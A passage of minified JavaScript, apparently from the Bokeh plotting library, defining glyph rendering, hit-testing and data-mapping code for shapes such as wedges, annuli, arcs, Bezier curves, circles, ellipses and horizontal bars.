y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=f;A<E.length;A++){var M=E[A],y=M[0],S=M[1],O=Math.atan2(l-this.sy[y],a-this.sx[y]);P.angle_between(-O,-this._start_angle[y],-this._end_angle[y],C)&&T.push([y,S])}return z.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=(this.sinner_radius[t]+this.souter_radius[t])/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.AnnularWedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AnnularWedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],inner_radius:[s.DistanceSpec],outer_radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.AnnularWedge=l).initClass()},function(t,e,i){var n=t(391),r=t(146),C=t(9),o=t(15),p=t(28),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sinner_radius,s=i.souter_radius,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){if(this.visuals.fill.doit){if(this.visuals.fill.set_vectorize(t,h),t.beginPath(),p.is_ie)for(var u=0,c=[!1,!0];u<c.length;u++){var _=c[u];t.arc(n[h],r[h],o[h],0,Math.PI,_),t.arc(n[h],r[h],s[h],Math.PI,0,!_)}else t.arc(n[h],r[h],o[h],0,2*Math.PI,!0),t.arc(n[h],r[h],s[h],2*Math.PI,0,!1);t.fill()}this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,h),t.beginPath(),t.arc(n[h],r[h],o[h],0,2*Math.PI),t.moveTo(n[h]+s[h],r[h]),t.arc(n[h],r[h],s[h],0,2*Math.PI),t.stroke())}}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=C.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}return C.create_hit_test_result_from_hits(f)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=.5*Math.min(Math.abs(o-n),Math.abs(s-r)),c=new Array(a);c[i]=.4*u;var _=new Array(a);_[i]=.8*u,this._render(t,[i],{sx:l,sy:h,sinner_radius:c,souter_radius:_})},e}(r.XYGlyphView);i.AnnulusView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annulus\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({inner_radius:[o.DistanceSpec],outer_radius:[o.DistanceSpec]})},t}(r.XYGlyph);(i.Annulus=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle;if(this.visuals.line.doit)for(var l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.ArcView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arc\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Arc=l).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143);function h(t,e,i,n,r,o,s,a){for(var l=[],h=[[],[]],u=0;u<=2;u++){var c=void 0,_=void 0,p=void 0;if(0===u?(_=6*t-12*i+6*r,c=-3*t+9*i-9*r+3*s,p=3*i-3*t):(_=6*e-12*n+6*o,c=-3*e+9*n-9*o+3*a,p=3*n-3*e),Math.abs(c)<1e-12){if(Math.abs(_)<1e-12)continue;var d=-p/_;0<d&&d<1&&l.push(d)}else{var f=_*_-4*p*c,v=Math.sqrt(f);if(!(f<0)){var m=(-_+v)/(2*c);0<m&&m<1&&l.push(m);var g=(-_-v)/(2*c);0<g&&g<1&&l.push(g)}}}for(var y=l.length,b=y;y--;){var d=l[y],x=1-d,w=x*x*x*t+3*x*x*d*i+3*x*d*d*r+d*d*d*s;h[0][y]=w;var k=x*x*x*e+3*x*x*d*n+3*x*d*d*o+d*d*d*a;h[1][y]=k}return h[0][b]=t,h[1][b]=e,h[0][b+1]=s,h[1][b+1]=a,[Math.min.apply(Math,h[0]),Math.max.apply(Math,h[1]),Math.max.apply(Math,h[0]),Math.min.apply(Math,h[1])]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx0[e]+this._cy0[e]+this._cx1[e]+this._cy1[e])){var n=h(this._x0[e],this._y0[e],this._x1[e],this._y1[e],this._cx0[e],this._cy0[e],this._cx1[e],this._cy1[e]),r=n[0],o=n[1],s=n[2],a=n[3];t.push({minX:r,minY:o,maxX:s,maxY:a,i:e})}return new l.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx0,l=i.scy0,h=i.scx1,u=i.scy1;if(this.visuals.line.doit)for(var c=0,_=e;c<_.length;c++){var p=_[c];isNaN(n[p]+r[p]+o[p]+s[p]+a[p]+l[p]+h[p]+u[p])||(t.beginPath(),t.moveTo(n[p],r[p]),t.bezierCurveTo(a[p],l[p],h[p],u[p],o[p],s[p]),this.visuals.line.set_vectorize(t,p),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.BezierView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Bezier\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx0\\\",\\\"cy0\\\"],[\\\"cx1\\\",\\\"cy1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Bezier=a).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143),f=t(9),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_box=function(t){for(var e=[],i=0;i<t;i++){var n=this._lrtb(i),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&e.push({minX:Math.min(r,o),minY:Math.min(s,a),maxX:Math.max(o,r),maxY:Math.max(s,a),i:i})}return new l.SpatialIndex(e)},e.prototype._render=function(t,e,i){for(var n=i.sleft,r=i.sright,o=i.stop,s=i.sbottom,a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+o[h]+r[h]+s[h])||(this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,h),t.fillRect(n[h],o[h],r[h]-n[h],s[h]-o[h])),this.visuals.line.doit&&(t.beginPath(),t.rect(n[h],o[h],r[h]-n[h],s[h]-o[h]),this.visuals.line.set_vectorize(t,h),t.stroke()))}},e.prototype._clamp_viewport=function(){for(var t=this.renderer.plot_view.frame.bbox.h_range,e=this.renderer.plot_view.frame.bbox.v_range,i=this.stop.length,n=0;n<i;n++)this.stop[n]=Math.max(this.stop[n],e.start),this.sbottom[n]=Math.min(this.sbottom[n],e.end),this.sleft[n]=Math.max(this.sleft[n],t.start),this.sright[n]=Math.min(this.sright[n],t.end)},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=f.create_empty_hit_test_result();return s.indices=o,s},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.BoxView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Box\\\",this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Box=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.XYGlyphView);i.CenterRotatableView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CenterRotatable\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],width:[o.DistanceSpec],height:[o.DistanceSpec]})},t}(r.XYGlyph);(i.CenterRotatable=a).initClass()},function(t,e,i){var n=t(391),r=t(146),M=t(9),o=t(15),h=t(21),s=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){if(null!=this._radius)if(\\\"data\\\"==this.model.properties.radius.spec.units){var t=this.model.properties.radius_dimension.spec.value;switch(t){case\\\"x\\\":this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius);break;case\\\"y\\\":this.sradius=this.sdist(this.renderer.yscale,this._y,this._radius)}}else this.sradius=this._radius,this.max_size=2*this.max_radius;else this.sradius=s.map(this._size,function(t){return t/2})},e.prototype._mask_data=function(){var t,e,i,n,r,o,s,a,l=this.renderer.plot_view.frame.bbox.ranges,h=l[0],u=l[1];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units){var c=h.start,_=h.end;t=this.renderer.xscale.r_invert(c,_),r=t[0],s=t[1],r-=this.max_radius,s+=this.max_radius;var p=u.start,d=u.end;e=this.renderer.yscale.r_invert(p,d),o=e[0],a=e[1],o-=this.max_radius,a+=this.max_radius}else{var c=h.start-this.max_size,_=h.end+this.max_size;i=this.renderer.xscale.r_invert(c,_),r=i[0],s=i[1];var p=u.start-this.max_size,d=u.end+this.max_size;n=this.renderer.yscale.r_invert(p,d),o=n[0],a=n[1]}var f=M.validate_bbox_coords([r,s],[o,a]);return this.index.indices(f)},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=0,a=e;s<a.length;s++){var l=a[s];isNaN(n[l]+r[l]+o[l])||(t.beginPath(),t.arc(n[l],r[l],o[l],0,2*Math.PI,!1),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,l),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,l),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t.sx,g=t.sy,y=this.renderer.xscale.invert(m),b=this.renderer.yscale.invert(g);null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(p=y-this.max_radius,d=y+this.max_radius,f=b-this.max_radius,v=b+this.max_radius):(h=m-this.max_size,u=m+this.max_size,e=this.renderer.xscale.r_invert(h,u),p=e[0],d=e[1],i=[Math.min(p,d),Math.max(p,d)],p=i[0],d=i[1],c=g-this.max_size,_=g+this.max_size,n=this.renderer.yscale.r_invert(c,_),f=n[0],v=n[1],r=[Math.min(f,v),Math.max(f,v)],f=r[0],v=r[1]);var x=M.validate_bbox_coords([p,d],[f,v]),w=this.index.indices(x),k=[];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units)for(var S=0,C=w;S<C.length;S++){var T=C[S];l=Math.pow(this.sradius[T],2),o=this.renderer.xscale.r_compute(y,this._x[T]),h=o[0],u=o[1],s=this.renderer.yscale.r_compute(b,this._y[T]),c=s[0],_=s[1],(a=Math.pow(h-u,2)+Math.pow(c-_,2))<=l&&k.push([T,a])}else for(var A=0,E=w;A<E.length;A++){var T=E[A];l=Math.pow(this.sradius[T],2),(a=Math.pow(this.sx[T]-m,2)+Math.pow(this.sy[T]-g,2))<=l&&k.push([T,a])}return M.create_hit_test_result_from_hits(k)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a,l,h,u=t.sx,c=t.sy,_=this.bounds(),p=_.minX,d=_.minY,f=_.maxX,v=_.maxY,m=M.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){var g=void 0,y=void 0;l=d,h=v,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(g=u-this.max_radius,y=u+this.max_radius,e=this.renderer.xscale.r_invert(g,y),s=e[0],a=e[1]):(o=this.max_size/2,g=u-o,y=u+o,i=this.renderer.xscale.r_invert(g,y),s=i[0],a=i[1])}else{var b=void 0,x=void 0;s=p,a=f,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(b=c-this.max_radius,x=c+this.max_radius,n=this.renderer.yscale.r_invert(b,x),l=n[0],h=n[1]):(o=this.max_size/2,b=c-o,x=c+o,r=this.renderer.yscale.r_invert(b,x),l=r[0],h=r[1])}var w=M.validate_bbox_coords([s,a],[l,h]),k=this.index.indices(w);return m.indices=k,m},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=M.validate_bbox_coords([s,a],[h,u]),_=M.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];M.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=M.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=new Array(a);u[i]=.2*Math.min(Math.abs(o-n),Math.abs(s-r)),this._render(t,[i],{sx:l,sy:h,sradius:u})},e}(r.XYGlyphView);i.CircleView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Circle\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],radius:[o.DistanceSpec,null],radius_dimension:[o.String,\\\"x\\\"]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.properties.radius.optional=!0},t}(r.XYGlyph);(i.Circle=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.EllipseOvalView);i.EllipseView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ellipse\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Ellipse=s).initClass()},function(t,e,i){var n=t(391),r=t(119),S=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.width.units?this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this.sw=this._width,\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sw,s=i.sh,a=i._angle,l=0,h=e;l<h.length;l++){var u=h[l];isNaN(n[u]+r[u]+o[u]+s[u]+a[u])||(t.beginPath(),t.ellipse(n[u],r[u],o[u]/2,s[u]/2,a[u],0,2*Math.PI),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f);\\\"data\\\"==this.model.properties.width.units?(o=v-this.max_width,s=v+this.max_width):(u=d-this.max_width,c=d+this.max_width,e=this.renderer.xscale.r_invert(u,c),o=e[0],s=e[1]),\\\"data\\\"==this.model.properties.height.units?(a=m-this.max_height,l=m+this.max_height):(_=f-this.max_height,p=f+this.max_height,i=this.renderer.yscale.r_invert(_,p),a=i[0],l=i[1]);for(var g=S.validate_bbox_coords([o,s],[a,l]),y=this.index.indices(g),b=[],x=0,w=y;x<w.length;x++){var k=w[x];S.point_in_ellipse(d,f,this._angle[k],this.sh[k]/2,this.sw[k]/2,this.sx[k],this.sy[k])&&(n=this.renderer.xscale.r_compute(v,this._x[k]),u=n[0],c=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),_=r[0],p=r[1],h=Math.pow(u-c,2)+Math.pow(_-p,2),b.push([k,h]))}return S.create_hit_test_result_from_hits(b)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=this.sw[i]/this.sh[i],c=.8*Math.min(Math.abs(o-n),Math.abs(s-r)),_=new Array(a),p=new Array(a);1<u?(_[i]=c,p[i]=c/u):(_[i]=c*u,p[i]=c),this._render(t,[i],{sx:l,sy:h,sw:_,sh:p,_angle:[0]})},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.EllipseOvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EllipseOval\\\"},t}(r.CenterRotatable);(i.EllipseOval=s).initClass()},function(o,t,e){var i=o(391),p=o(9),l=o(15),h=o(24),y=o(33),s=o(49),n=o(48),r=o(59),a=o(14),b=o(22),x=o(32),d=o(44),w=o(130),k=o(181),u=function(r){function t(){var t=null!==r&&r.apply(this,arguments)||this;return t._nohit_warned={},t}return i.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this._nohit_warned={},this.renderer=t.renderer,this.visuals=new s.Visuals(this.model);var e=this.renderer.plot_view.gl;if(null!=e){var i=null;try{i=o(452)}catch(t){if(\\\"MODULE_NOT_FOUND\\\"!==t.code)throw t;a.logger.warn(\\\"WebGL was requested and is supported, but bokeh-gl(.min).js is not available, falling back to 2D rendering.\\\")}if(null!=i){var n=i[this.model.type+\\\"GLGlyph\\\"];null!=n&&(this.glglyph=new n(e.ctx,this))}}},t.prototype.set_visuals=function(t){this.visuals.warm_cache(t),null!=this.glglyph&&this.glglyph.set_visuals_changed()},t.prototype.render=function(t,e,i){t.beginPath(),null!=this.glglyph&&this.glglyph.render(t,e,i)||this._render(t,e,i)},t.prototype.has_finished=function(){return!0},t.prototype.notify_finished=function(){this.renderer.notify_finished()},t.prototype._bounds=function(t){return t},t.prototype.bounds=function(){return this._bounds(this.index.bbox)},t.prototype.log_bounds=function(){for(var t=h.empty(),e=this.index.search(h.positive_x()),i=0,n=e;i<n.length;i++){var r=n[i];r.minX<t.minX&&(t.minX=r.minX),r.maxX>t.maxX&&(t.maxX=r.maxX)}for(var o=this.index.search(h.positive_y()),s=0,a=o;s<a.length;s++){var l=a[s];l.minY<t.minY&&(t.minY=l.minY),l.maxY>t.maxY&&(t.maxY=l.maxY)}return this._bounds(t)},t.prototype.get_anchor_point=function(t,e,i){var n=i[0],r=i[1];switch(t){case\\\"center\\\":return{x:this.scenterx(e,n,r),y:this.scentery(e,n,r)};default:return null}},t.prototype.sdist=function(t,e,i,n,r){var o,s;void 0===n&&(n=\\\"edge\\\"),void 0===r&&(r=!1);var a=e.length;if(\\\"center\\\"==n){var l=b.map(i,function(t){return t/2});o=new Float64Array(a);for(var h=0;h<a;h++)o[h]=e[h]-l[h];s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=e[h]+l[h]}else{o=e,s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=o[h]+i[h]}var u=t.v_compute(o),c=t.v_compute(s);return r?b.map(u,function(t,e){return Math.ceil(Math.abs(c[e]-u[e]))}):b.map(u,function(t,e){return Math.abs(c[e]-u[e])})},t.prototype.draw_legend_for_index=function(t,e,i){},t.prototype.hit_test=function(t){var e=null,i=\\\"_hit_\\\"+t.type;return null!=this[i]?e=this[i](t):null==this._nohit_warned[t.type]&&(a.logger.debug(\\\"'\\\"+t.type+\\\"' selection not available for \\\"+this.model.type),this._nohit_warned[t.type]=!0),e},t.prototype._hit_rect_against_index=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=p.validate_bbox_coords([s,a],[h,u]),_=p.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},t.prototype.set_data=function(t,i,e){var n,r,o,s,a=this.model.materialize_dataspecs(t);if(this.visuals.set_all_indices(i),i&&!(this instanceof w.LineView)){var l={},h=function(t){var e=a[t];\\\"_\\\"===t.charAt(0)?l[t]=i.map(function(t){return e[t]}):l[t]=e};for(var u in a)h(u);a=l}var c=this;if(x.extend(c,a),this.renderer.plot_view.model.use_map&&(null!=c._x&&(n=y.project_xy(c._x,c._y),c._x=n[0],c._y=n[1]),null!=c._xs&&(r=y.project_xsys(c._xs,c._ys),c._xs=r[0],c._ys=r[1]),null!=c._x0&&(o=y.project_xy(c._x0,c._y0),c._x0=o[0],c._y0=o[1]),null!=c._x1&&(s=y.project_xy(c._x1,c._y1),c._x1=s[0],c._y1=s[1])),null!=this.renderer.plot_view.frame.x_ranges)for(var _=this.renderer.plot_view.frame.x_ranges[this.model.x_range_name],p=this.renderer.plot_view.frame.y_ranges[this.model.y_range_name],d=0,f=this.model._coords;d<f.length;d++){var v=f[d],m=v[0],g=v[1];m=\\\"_\\\"+m,g=\\\"_\\\"+g,null!=c._xs?(_ instanceof k.FactorRange&&(c[m]=b.map(c[m],function(t){return _.v_synthetic(t)})),p instanceof k.FactorRange&&(c[g]=b.map(c[g],function(t){return p.v_synthetic(t)}))):(_ instanceof k.FactorRange&&(c[m]=_.v_synthetic(c[m])),p instanceof k.FactorRange&&(c[g]=p.v_synthetic(c[g])))}null!=this.glglyph&&this.glglyph.set_data_changed(c._x.length),this._set_data(e),this.index_data()},t.prototype._set_data=function(t){},t.prototype.index_data=function(){this.index=this._index_data()},t.prototype.mask_data=function(t){return null!=this.glglyph||null==this._mask_data?t:this._mask_data()},t.prototype.map_data=function(){for(var t,e=this,i=0,n=this.model._coords;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=\\\"s\\\"+o,l=\\\"s\\\"+s;if(s=\\\"_\\\"+s,null!=e[o=\\\"_\\\"+o]&&(d.isArray(e[o][0])||d.isTypedArray(e[o][0]))){var h=e[o].length;e[a]=new Array(h),e[l]=new Array(h);for(var u=0;u<h;u++){var c=this.map_to_screen(e[o][u],e[s][u]),_=c[0],p=c[1];e[a][u]=_,e[l][u]=p}}else t=this.map_to_screen(e[o],e[s]),e[a]=t[0],e[l]=t[1]}this._map_data()},t.prototype._map_data=function(){},t.prototype.map_to_screen=function(t,e){return this.renderer.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},t}(n.View);e.GlyphView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Glyph\\\",this.prototype._coords=[],this.internal({x_range_name:[l.String,\\\"default\\\"],y_range_name:[l.String,\\\"default\\\"]})},t.coords=function(t){var e=this.prototype._coords.concat(t);this.prototype._coords=e;for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1];i[s]=[l.NumberSpec],i[a]=[l.NumberSpec]}this.define(i)},t}(r.Model);(e.Glyph=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._index_data=function(){return this._index_box(this._y.length)},e.prototype._lrtb=function(t){var e=Math.min(this._left[t],this._right[t]),i=Math.max(this._left[t],this._right[t]),n=this._y[t]+.5*this._height[t],r=this._y[t]-.5*this._height[t];return[e,i,n,r]},e.prototype._map_data=function(){this.sy=this.renderer.yscale.v_compute(this._y),this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"),this.sleft=this.renderer.xscale.v_compute(this._left),this.sright=this.renderer.xscale.v_compute(this._right);var t=this.sy.length;this.stop=new Float64Array(t),this.sbottom=new Float64Array(t);for(var e=0;e<t;e++)this.stop[e]=this.sy[e]-this.sh[e]/2,this.sbottom[e]=this.sy[e]+this.sh[e]/2;this._clamp_viewport()},e}(r.BoxView);i.HBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HBar\\\",this.prototype.default_view=s,this.coords([[\\\"left\\\",\\\"y\\\"]]),this.define({height:[o.DistanceSpec],right:[o.NumberSpec]}),this.override({left:0})},t}(r.Box);(i.HBar=a).initClass()},function(t,e,i){var n=t(391),r=t(123),f=t(9),o=t(15),a=t(37),s=t(143),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._set_data=function(){var t=this._q.length,e=this.model.size,i=this.model.aspect_scale;if(this._x=new Float64Array(t),this._y=new Float64Array(t),\\\"pointytop\\\"==this.model.orientation)for(var n=0;n<t;n++)this._x[n]=e*Math.sqrt(3)*(this._q[n]+this._r[n]/2)/i,this._y[n]=3*-e/2*this._r[n];else for(var n=0;n<t;n++)this._x[n]=3*e/2*this._q[n],this._y[n]=-e*Math.sqrt(3)*(this._r[n]+this._q[n]/2)*i},e.prototype._index_data=function(){var 